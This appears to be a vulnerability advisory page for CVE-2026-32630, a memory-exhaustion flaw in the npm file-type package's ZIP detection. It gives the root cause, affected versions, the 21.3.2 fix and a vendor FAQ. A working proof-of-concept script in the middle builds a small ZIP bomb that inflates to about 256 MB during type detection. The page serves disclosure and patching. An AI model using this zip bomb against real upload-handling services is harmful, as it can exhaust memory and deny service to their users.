CVE-2026-32630

A crafted ZIP file can trigger excessive memory growth during type detection in file-type when using fileTypeFromBuffer(), fileTypeFromBlob(), or fileTypeFromFile().

In affected versions, the ZIP inflate output limit is enforced for stream-based detection, but not for known-size inputs. As a result, a small compressed ZIP can cause file-type to inflate and process a much larger payload while probing ZIP-based formats such as OOXML. In testing on file-type 21.3.1, a ZIP of about 255 KB caused about 257 MB of RSS growth during fileTypeFromBuffer().

This is an availability issue. Applications that use these APIs on untrusted uploads can be forced to consume large amounts of memory and may become slow or crash.

Root Cause

The ZIP detection logic applied different limits depending on whether the tokenizer had a known file size.

For stream inputs, ZIP probing was bounded by maximumZipEntrySizeInBytes (1 MiB). For known-size inputs such as buffers, blobs, and files, the code instead used Number.MAX_SAFE_INTEGER in two relevant places:

const maximumContentTypesEntrySize = hasUnknownFileSize(tokenizer)
	? maximumZipEntrySizeInBytes
	: Number.MAX_SAFE_INTEGER;

and:

const maximumLength = hasUnknownFileSize(this.tokenizer)
	? maximumZipEntrySizeInBytes
	: Number.MAX_SAFE_INTEGER;

Together, these checks allowed a crafted ZIP to bypass the intended inflate limit for known-size APIs and force large decompression during detection of entries such as [Content_Types].xml.

Proof of Concept

import {fileTypeFromBuffer} from 'file-type';
import archiver from 'archiver';
import {Writable} from 'node:stream';

async function createZipBomb(sizeInMegabytes) {
	return new Promise((resolve, reject) => {
		const chunks = [];
		const writable = new Writable({
			write(chunk, encoding, callback) {
				chunks.push(chunk);
				callback();
			},
		});

		const archive = archiver('zip', {zlib: {level: 9}});
		archive.pipe(writable);
		writable.on('finish', () => {
			resolve(Buffer.concat(chunks));
		});
		archive.on('error', reject);

		const xmlPrefix = '<?xml version="1.0"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">';
		const padding = Buffer.alloc(sizeInMegabytes * 1024 * 1024 - xmlPrefix.length, 0x20);
		archive.append(Buffer.concat([Buffer.from(xmlPrefix), padding]), {name: '[Content_Types].xml'});
		archive.finalize();
	});
}

const zip = await createZipBomb(256);
console.log('ZIP size (KB):', (zip.length / 1024).toFixed(0));

const before = process.memoryUsage().rss;
await fileTypeFromBuffer(zip);
const after = process.memoryUsage().rss;

console.log('RSS growth (MB):', ((after - before) / 1024 / 1024).toFixed(0));

Observed on file-type 21.3.1:

• ZIP size: about 255 KB
• RSS growth during detection: about 257 MB

Affected APIs

Affected:

• fileTypeFromBuffer()
• fileTypeFromBlob()
• fileTypeFromFile()

Not affected:

• fileTypeFromStream(), which already enforced the ZIP inflate limit for unknown-size inputs

Cause

The issue was introduced in 399b0f1

Applications that inspect untrusted uploads with fileTypeFromBuffer(), fileTypeFromBlob(), or fileTypeFromFile() can be forced to consume excessive memory during ZIP-based type detection. This can degrade service or lead to process termination in memory-constrained environments.

Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service. Typical impact: denial of service.

CVE-2026-32630 has a CVSS score of 5.3 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (21.3.2); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-32630? CVE-2026-32630 is a medium-severity uncontrolled resource consumption vulnerability in file-type (npm), affecting versions >= 20.0.0, <= 21.3.1. It is fixed in 21.3.2. Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service.
2. How severe is CVE-2026-32630? CVE-2026-32630 has a CVSS score of 5.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of file-type are affected by CVE-2026-32630? file-type (npm) versions >= 20.0.0, <= 21.3.1 is affected.
4. Is there a fix for CVE-2026-32630? Yes. CVE-2026-32630 is fixed in 21.3.2. Upgrade to this version or later.
5. Is CVE-2026-32630 exploitable, and should I be worried? Whether CVE-2026-32630 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-32630 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-32630? Upgrade file-type to 21.3.2 or later.